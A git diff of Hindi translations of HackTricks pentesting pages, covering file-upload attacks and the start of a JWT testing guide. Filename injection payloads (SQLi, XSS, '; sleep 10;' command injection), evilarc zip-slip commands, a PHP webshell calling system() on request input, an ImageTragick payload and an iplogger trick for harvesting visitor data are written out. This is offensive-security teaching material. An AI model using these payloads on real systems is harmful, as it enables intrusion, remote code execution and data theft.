ध्यान दें कि **इस जांच को छलकरने** के लिए आपके मन में एक **और विकल्प** हो सकता है कि **HTTP सर्वर को एक विभिन्न फ़ाइल पर पुनर्निर्देशित करने** के लिए, तो प्रारंभिक URL जांच को छलकने के लिए उस समय wget ने नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग किया जा रहा हो क्योंकि **wget प्रारंभिक URL में निर्दिष्ट फ़ाइल के नाम के साथ पुनर्निर्देशित पृष्ठ को डाउनलोड करेगा**।
|
||||
|
||||
## उपकरण
|
||||
|
||||
* [अपलोड बाइपास](https://github.com/sAjibuu/Upload\_Bypass) एक शक्तिशाली उपकरण है जो पेंटेस्टर्स और बग हंटर्स को फ़ाइल अपलोड मेकेनिज़म का परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि वेब एप्लिकेशन की मूल्यांकन को सरल बनाए रखने और सुरक्षा दोषों का खोजने और शोधन करने की प्रक्रिया को सरल बनाए।
|
||||
* [अपलोड बाइपास](https://github.com/sAjibuu/Upload\_Bypass) एक शक्तिशाली उपकरण है जो पेंटेस्टर्स और बग हंटर्स को फ़ाइल अपलोड मेकेनिज़म का परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का लाभ उठाता है ताकि वेब एप्लिकेशन की मूल्यांकन को सुनिश्चित करने के लिए विकल्पों की प्रक्रिया को सरल बनाए।
|
||||
|
||||
## फ़ाइल अपलोड से अन्य सुरक्षा दोष
|
||||
## फ़ाइल अपलोड से अन्य सुरक्षा गड़बड़ियों तक
|
||||
|
||||
* **फ़ाइल नाम** को `../../../tmp/lol.png` पर सेट करें और एक **पथ ट्रावर्सल** प्राप्त करने का प्रयास करें
|
||||
* **फ़ाइल नाम** को `sleep(10)-- -.jpg` पर सेट करें और आप एक **SQL इंजेक्शन** प्राप्त कर सकते हैं
|
||||
* **फ़ाइल नाम** को `<svg onload=alert(document.domain)>` पर सेट करें और एक XSS प्राप्त करें
|
||||
* **फ़ाइल नाम** को `; sleep 10;` पर सेट करें और कुछ कमांड इंजेक्शन का परीक्षण करें (अधिक [कमांड इंजेक्शन ट्रिक्स यहाँ](../command-injection.md))
|
||||
* [**XSS** में छवि (svg) फ़ाइल अपलोड](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **फ़ाइल नाम** को `<svg onload=alert(document.domain)>` पर सेट करें एक XSS प्राप्त करने के लिए
|
||||
* **फ़ाइल नाम** को `; sleep 10;` पर सेट करें कुछ कमांड इंजेक्शन का परीक्षण करने के लिए (अधिक [कमांड इंजेक्शन ट्रिक्स यहाँ](../command-injection.md))
|
||||
* [छवि (svg) फ़ाइल अपलोड में **XSS**](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** फ़ाइल **अपलोड** + **XSS** = [**सेवा कर्मचारियों** का शोषण](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**svg अपलोड में XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**ओपन रीडायरेक्ट** के माध्यम से svg फ़ाइल अपलोड](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [svg अपलोड में **XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [svg फ़ाइल अपलोड के माध्यम से **ओपन रीडायरेक्ट**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें
|
||||
* प्रसिद्ध **ImageTrick** दोषग्रस्तता](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* यदि आप **वेब सर्वर को एक URL से छवि पकड़ने के लिए संकेतित** कर सकते हैं तो आप [SSRF](../ssrf-server-side-request-forgery/) का दुरुपयोग करने की कोशिश कर सकते हैं। यदि यह **छवि** किसी **सार्वजनिक** स्थान पर **सहेजी** जाएगी, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से URL को संकेतित कर सकते हैं और **प्रत्येक आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
* [**XXE और CORS** को PDF-Adobe अपलोड के साथ छलकरना](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ में यह प्रस्तुत करता है कि **PDF डेटा को जेएस निष्पादित करने के लिए कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप दिए गए निर्देशों का पालन करते हुए कुछ PDF तैयार कर सकते हैं जो विचारात्मक JS को निष्पादित करेगा।
|
||||
* प्रसिद्ध **ImageTrick** सुरक्षा गड़बड़ी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* यदि आप **वेब सर्वर को एक छवि को URL से पकड़ने के लिए संकेतित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह **छवि** किसी **सार्वजनिक** स्थान पर **सहेजी** जाएगी, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से URL को संकेतित कर सकते हैं और **प्रत्येक आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
* [**XXE और CORS** को PDF-Adobe अपलोड के साथ छलाना](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ में यह प्रस्तुत करता है कि **PDF डेटा को जेएस क्रियान्वयन प्राप्त करने के लिए कैसे इंजेक्ट किया जाए**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप दिए गए निर्देशों का पालन करते हुए कुछ PDF तैयार कर सकते हैं जो विचारात्मक JS को क्रियान्वित करेंगे।
|
||||
* [\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री अपलोड करें ताकि सर्वर में कोई **एंटीवायरस** हो
|
||||
* फ़ाइलें अपलोड करते समय कोई **साइज़ सीमा** है या नहीं यह जांचें
|
||||
|
||||
यहाँ एक शीर्ष 10 सूची है जिन्हें आप अपलोड करके प्राप्त कर सकते हैं (यहाँ से [यहाँ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: वेबशैल / RCE
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: वेबशेल / RCE
|
||||
2. **SVG**: स्टोर्ड XSS / SSRF / XXE
|
||||
3. **GIF**: स्टोर्ड XSS / SSRF
|
||||
4. **CSV**: CSV इंजेक्शन
|
||||
|
@ -206,7 +208,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
7. **HTML / JS** : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
|
||||
8. **PNG / JPEG**: पिक्सेल बाढ़ हमला (DoS)
|
||||
9. **ZIP**: LFI के माध्यम से RCE / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
10. **PDF / PPTX**: SSRF / ब्लाइंड XXE
|
||||
|
||||
#### बर्प एक्सटेंशन
|
||||
|
||||
|
@ -219,13 +221,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) का संदर्भ दें।
|
||||
|
||||
### ज़िप/टार फ़ाइल स्वचालित रूप से अपलोड करें
|
||||
### ज़िप/टार फ़ाइल स्वचालित रूप से अपलोड किया गया
|
||||
|
||||
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर स्वचालित रूप से डीकंप्रेस किया जाएगा, तो आप 2 चीजें कर सकते हैं:
|
||||
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डीकंप्रेस किया जाएगा, तो आप 2 चीजें कर सकते हैं:
|
||||
|
||||
#### सिमलिंक
|
||||
|
||||
अन्य फ़ाइलों के लिए सॉफ़्ट लिंक्स वाला लिंक अपलोड करें, फिर, डीकंप्रेस की गई फ़ाइलों तक पहुँचकर आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
|
||||
अन्य फ़ाइलों के लिए सॉफ़्ट लिंक्स वाला लिंक अपलोड करें, फिर, डीकंप्रेस की गई फ़ाइलों तक पहुंचकर आप लिंक की गई फ़ाइलों तक पहुंचेंगे:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
|
@ -233,18 +235,18 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### विभिन्न फोल्डर में डीकंप्रेस करें
|
||||
|
||||
डीकंप्रेशन के दौरान निर्दिष्ट निर्देशिकाओं में फ़ाइलों का अनपेक्षित निर्माण एक महत्वपूर्ण मुद्दा है। जैसा कि प्रारंभिक मान्यताएँ थी कि यह सेटअप दुर्भाग्यपूर्ण फ़ाइल अपलोड के माध्यम से एओएस स्तर के कमांड क्रियान्वयन से बचा सकता है, ZIP आर्काइव प्रारूप की वर्गीकरण समर्थन और निर्देशिका चरण क्षमताएँ शोषित की जा सकती हैं। इससे हमलावादियों को प्रतिबंधों को उलटने और लक्षित एप्लिकेशन की डीकंप्रेशन कार्यक्षमता को मानिया जा सकता है।
|
||||
डीकंप्रेशन के दौरान निर्दिष्ट निर्देशिकाओं में फ़ाइलों का अनपेक्षित निर्माण एक महत्वपूर्ण मुद्दा है। जैसा कि प्रारंभिक मान्यताओं के बावजूद, इस सेटअप से यह सुनिश्चित किया गया था कि अट्टाच किए गए दुर्जन फ़ाइल अपलोड के माध्यम से ओएस स्तरीय कमांड क्रियान्वयन से बचाव कर सकता है, लेकिन ज़िप आर्काइव प्रारूप की वर्गीकरण समर्थन और निर्देशिका चालन क्षमताएँ शोषित की जा सकती हैं। इससे हमलावादियों को प्रतिबंधों को छलकरने और लक्षित एप्लिकेशन के डीकंप्रेशन कार्यक्षमता को मान्यता देने के लिए सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति होती है।
|
||||
|
||||
ऐसी फ़ाइलों को बनाने के लिए एक स्वचालित उत्पीड़न [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। यह यूटिलिटी इस प्रकार से उपयोग किया जा सकता है:
|
||||
ऐसी फ़ाइलों को बनाने के लिए एक स्वचालित उत्पीड़न [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। यह यूटिलिटी इस प्रकार से प्रयोग की जा सकती है:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
इसके अतिरिक्त, **एविलार्क के साथ सिमलिंक ट्रिक** एक विकल्प है। यदि लक्ष्य है किसी फ़ाइल को लक्षित करना जैसे `/flag.txt`, तो उस फ़ाइल के लिए एक सिमलिंक आपके सिस्टम में बनाया जाना चाहिए। इससे यह सुनिश्चित होता है कि एविलार्क अपने संचालन के दौरान त्रुटियों का सामना नहीं करता।
|
||||
इसके अतिरिक्त, **evilarc के साथ सिंबलिंक ट्रिक** एक विकल्प है। यदि लक्ष्य है कि `/flag.txt` जैसी फ़ाइल को लक्ष्य बनाया जाए, तो आपके सिस्टम में उस फ़ाइल के लिए एक सिंबलिंक बनाया जाना चाहिए। इससे यह सुनिश्चित होता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता।
|
||||
|
||||
नीचे एक उदाहरण है पायथन कोड का जो एक दुष्ट zip फ़ाइल बनाने के लिए उपयोग किया जाता है:
|
||||
नीचे एक उदाहरण है Python कोड का जो एक दुष्ट zip फ़ाइल बनाने के लिए उपयोग किया जाता है:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -275,7 +277,7 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
2. **फ़ाइल स्प्रे और संपीड़ित फ़ाइल निर्माण**: कई फ़ाइलें बनाई जाती है और इन फ़ाइलों को समेटने वाला एक ज़िप आर्काइव बनाया जाता है।
|
||||
2. **फ़ाइल स्प्रे और संपीड़ित फ़ाइल निर्माण**: कई फ़ाइलें बनाई जाती है और इन फ़ाइलों को समेत कर एक ज़िप आर्काइव बनाया जाता है।
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
|
@ -291,7 +293,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||
|
||||
## ImageTragic
|
||||
|
||||
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि सुरक्षा दोष का शोषण किया जा सके **(ImageMagick, 7.0.1-1)** (एक्सप्लॉइट से [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि सुरक्षा दोष का शोषण किया जा सके **(ImageMagick, 7.0.1-1)** (उत्पीड़न से [शोषण](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
|
@ -300,7 +302,7 @@ pop graphic-context
|
|||
```
|
||||
## PHP शैल को PNG में एम्बेड करना
|
||||
|
||||
PNG फ़ाइल के IDAT चंक में PHP शैल को एम्बेड करना कुछ छवि प्रसंस्करण कार्रवाइयों को पार कर सकता है। PHP-GD से `imagecopyresized` और `imagecopyresampled` फ़ंक्शन इस संदर्भ में विशेष रूप से महत्वपूर्ण हैं, क्योंकि ये आम तौर पर छवियों को आकार बदलने और पुनर्नमूना करने के लिए उपयोग किए जाते हैं। एम्बेडेड PHP शैल की क्षमता कि ये ऑपरेशनों से प्रभावित नहीं होता है, कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
|
||||
PNG फ़ाइल के IDAT चंक में PHP शैल को एम्बेड करना कुछ छवि प्रसंस्करण कार्रवाइयों को पार करने में प्रभावी हो सकता है। PHP-GD से `imagecopyresized` और `imagecopyresampled` फ़ंक्शन इस संदर्भ में विशेष रूप से महत्वपूर्ण हैं, क्योंकि ये छवियों को आकार बदलने और पुनर्नमूना करने के लिए सामान्य रूप से उपयोग किए जाते हैं। एम्बेडेड PHP शैल की क्षमता कि ये ऑपरेशनों से प्रभावित नहीं होता है, कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
|
||||
|
||||
इस तकनीक का विस्तृत अन्वेषण, इसकी विधि और संभावित अनुप्रयोगों के साथ, निम्नलिखित लेख में प्रदान किया गया है: ["PNG IDAT चंक में वेब शैल्स को एन्कोड करना"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)। यह संसाधन प्रक्रिया और इसके परिणामों की एक व्यापक समझ प्रदान करता है।
|
||||
|
||||
|
@ -308,11 +310,11 @@ PNG फ़ाइल के IDAT चंक में PHP शैल को एम
|
|||
|
||||
## पॉलीग्लॉट फ़ाइलें
|
||||
|
||||
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अद्वितीय उपकरण के रूप में काम करती हैं, जो चेमेलियन के रूप में कार्य करती हैं जो समान समय में कई फ़ाइल प्रारूपों में मान्य रूप से मौजूद हो सकती हैं। एक रोचक उदाहरण है [GIFAR](https://en.wikipedia.org/wiki/Gifar), एक हाइब्रिड जो एक GIF और एक RAR आर्काइव के रूप में दोनों कार्य करता है। ऐसी फ़ाइलें इस संयोजन के सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अद्वितीय उपकरण के रूप में काम करती हैं, जो चमेलियन के रूप में कार्य करती हैं जो कई फ़ाइल प्रारूपों में सही रूप से मौजूद हो सकती हैं। एक रोचक उदाहरण है [GIFAR](https://en.wikipedia.org/wiki/Gifar), एक हाइब्रिड जो एक GIF और एक RAR आर्काइव दोनों के रूप में काम करता है। ऐसी फ़ाइलें इस संयोजन के सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
|
||||
पॉलीग्लॉट फ़ाइलों की मूल उपयोगिता उनकी क्षमता में है जो फ़ाइल प्रकार के आधार पर फ़ाइलों की स्क्रीनिंग करने वाले सुरक्षा उपायों को छलने में है। विभिन्न एप्लिकेशनों में सामान्य अभ्यास शामिल है केवल कुछ फ़ाइल प्रकारों को अपलोड के लिए अनुमति देना—जैसे JPEG, GIF, या DOC—जो संभावित नुकसानकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालांकि, एक पॉलीग्लॉट, एकाधिक फ़ाइल प्रकारों के संरचनात्मक मापदंडों का पालन करके, इन प्रतिबंधों को चुपके से छलने में सक्षम हो सकता है।
|
||||
पॉलीग्लॉट फ़ाइलों की मूल उपयोगिता उनकी सुरक्षा उपायों को चकनाचूर करने में है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करते हैं। विभिन्न एप्लिकेशनों में सामान्य अभ्यास शामिल है केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना—जैसे JPEG, GIF, या DOC—जो संभावित नुकसानकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए है। हालांकि, एक पॉलीग्लॉट, एकाधिक फ़ाइल प्रकारों के संरचनात्मक मापदंडों का पालन करके, इन प्रतिबंधों को चुपके से पार कर सकता है।
|
||||
|
||||
उनकी अनुकूलता के बावजूद, पॉलीग्लॉट की कुछ सीमाएँ होती हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट समय समय पर एक PHAR फ़ाइल (PHp ARchive) और एक JPEG का रूप धारण कर सकता है, इसकी अपलोड की सफलता उस प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर हो सकती है। यदि सिस्टम अनुमति देने वाली एक्सटेंशनों के बारे में कड़ी हो, तो एक पॉलीग्लॉट की केवल संरचनात्मक द्वैतता उसकी अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती।
|
||||
उनकी अनुकूलता के बावजूद, पॉलीग्लॉट की कुछ सीमाएँ होती हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट समय समय पर एक PHAR फ़ाइल (PHp ARchive) और एक JPEG का रूप धारण कर सकता है, उसके अपलोड की सफलता निर्भर हो सकती है प्लेटफ़ॉर्म के फ़ाइल एक्सटेंशन नीतियों पर। यदि सिस्टम अनुमत एक्सटेंशन के बारे में कड़ी हो, तो एक पॉलीग्लॉट की केवल संरचनात्मक द्वैतता की सफलता उसके अपलोड की गारंटी नहीं कर सकती।
|
||||
|
||||
अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -325,7 +327,7 @@ PNG फ़ाइल के IDAT चंक में PHP शैल को एम
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
|
||||
|
@ -333,14 +335,14 @@ PNG फ़ाइल के IDAT चंक में PHP शैल को एम
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो बनाने के साथ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* यदि आप अपनी कंपनी को **HackTricks में विज्ञापित करना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर** **फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,25 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github रेपो में PRs सबमिट करके।
|
||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**इस पोस्ट का एक हिस्सा शानदार पोस्ट पर आधारित है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**इस पोस्ट का एक हिस्सा यह शानदार पोस्ट पर आधारित है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWTs को पेंटेस्ट करने के लिए महान टूल के लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **त्वरित जीतें**
|
||||
|
@ -31,7 +31,7 @@ python3 jwt_tool.py -M at \
|
|||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
यदि आप भाग्यशाली हैं तो यह उपकरण कुछ मामले ढूंढ़ लेगा जहां वेब एप्लिकेशन JWT की गलत जांच कर रही है:
|
||||
यदि आप भाग्यशाली हैं तो यह उपकरण कुछ मामला खोजेगा जहाँ वेब एप्लिकेशन JWT की गलत जांच कर रही है:
|
||||
|
||||
![](<../.gitbook/assets/image (932).png>)
|
||||
|
||||
|
@ -41,41 +41,41 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
```
|
||||
### डेटा में हस्तक्षेप करें बिना कुछ संशोधित किए
|
||||
|
||||
आप डेटा में हस्तक्षेप कर सकते हैं, हस्ताक्षर को छोड़कर और सर्वर को हस्ताक्षर की जांच करने के लिए देख सकते हैं। उदाहरण के लिए अपना उपयोगकर्ता नाम "व्यवस्थापक" में बदलने का प्रयास करें।
|
||||
आप बस डेटा में हस्तक्षेप कर सकते हैं, हस्ताक्षर को छोड़कर, और देख सकते हैं कि सर्वर हस्ताक्षर की जांच कर रहा है या नहीं। उदाहरण के लिए अपना उपयोगकर्ता नाम "व्यवस्थापक" में बदलने का प्रयास करें।
|
||||
|
||||
#### **क्या टोकन की जांच की जाती है?**
|
||||
#### **क्या टोकन जांचा जाता है?**
|
||||
|
||||
JWT के हस्ताक्षर की जांच करने के लिए:
|
||||
|
||||
* एक त्रुटि संदेश जारी करती है जो जारी है; विस्तृत त्रुटियों में संवेदनशील विवरण की समीक्षा करनी चाहिए।
|
||||
* वापस आने वाले पृष्ठ में परिवर्तन भी जांच करता है कि क्या जांच हो रही है।
|
||||
* कोई परिवर्तन नहीं सुझाता है कि कोई जांच नहीं हो रही है; यह वह समय है जब पेयलोड क्लेम्स में हस्तक्षेप करने के साथ प्रयोग करने का है।
|
||||
* एक त्रुटि संदेश जारी करती है जो जारी है; संवेदनशील त्रुटियों में संवेदनशील विवरण की समीक्षा करनी चाहिए।
|
||||
* वापसी वाले पृष्ठ में परिवर्तन भी जांच करता है कि क्या हस्ताक्षर की जांच हो रही है।
|
||||
* कोई परिवर्तन नहीं सुझाता है कि कोई जांच नहीं हो रही है; यह तब होता है जब पेलोड क्लेम्स में हस्तक्षेप के साथ प्रयोग करने का समय हो।
|
||||
|
||||
### मूल
|
||||
|
||||
यह महत्वपूर्ण है कि यह निर्धारित किया जाए कि क्या टोकन सर्वर-साइड या क्लाइंट-साइड से उत्पन्न हुआ था, प्रॉक्सी के अनुरोध इतिहास की जांच करके।
|
||||
यह महत्वपूर्ण है कि टोकन का उत्पादन सर्वर-ओर या क्लाइंट-ओर से हुआ है, प्रॉक्सी के अनुरोध इतिहास की जांच करके।
|
||||
|
||||
* पहली बार क्लाइंट साइड से देखे गए टोकन इस संकेत को देते हैं कि कुंजी को क्लाइंट साइड कोड को उजागर किया जा सकता है, जिससे आगे जांच की आवश्यकता होती है।
|
||||
* सर्वर-साइड से उत्पन्न टोकन सुरक्षित प्रक्रिया की ओर संकेत करते हैं।
|
||||
* पहली बार क्लाइंट ओर से देखे गए टोकन इसका सुझाव देते हैं कि कुंजी को क्लाइंट-ओर कोड को उजागर किया जा सकता है, जिससे आगे जांच की आवश्यकता होती है।
|
||||
* सर्वर-ओर से उत्पन्न टोकन सुरक्षित प्रक्रिया की ओर इशारा करते हैं।
|
||||
|
||||
### अवधि
|
||||
|
||||
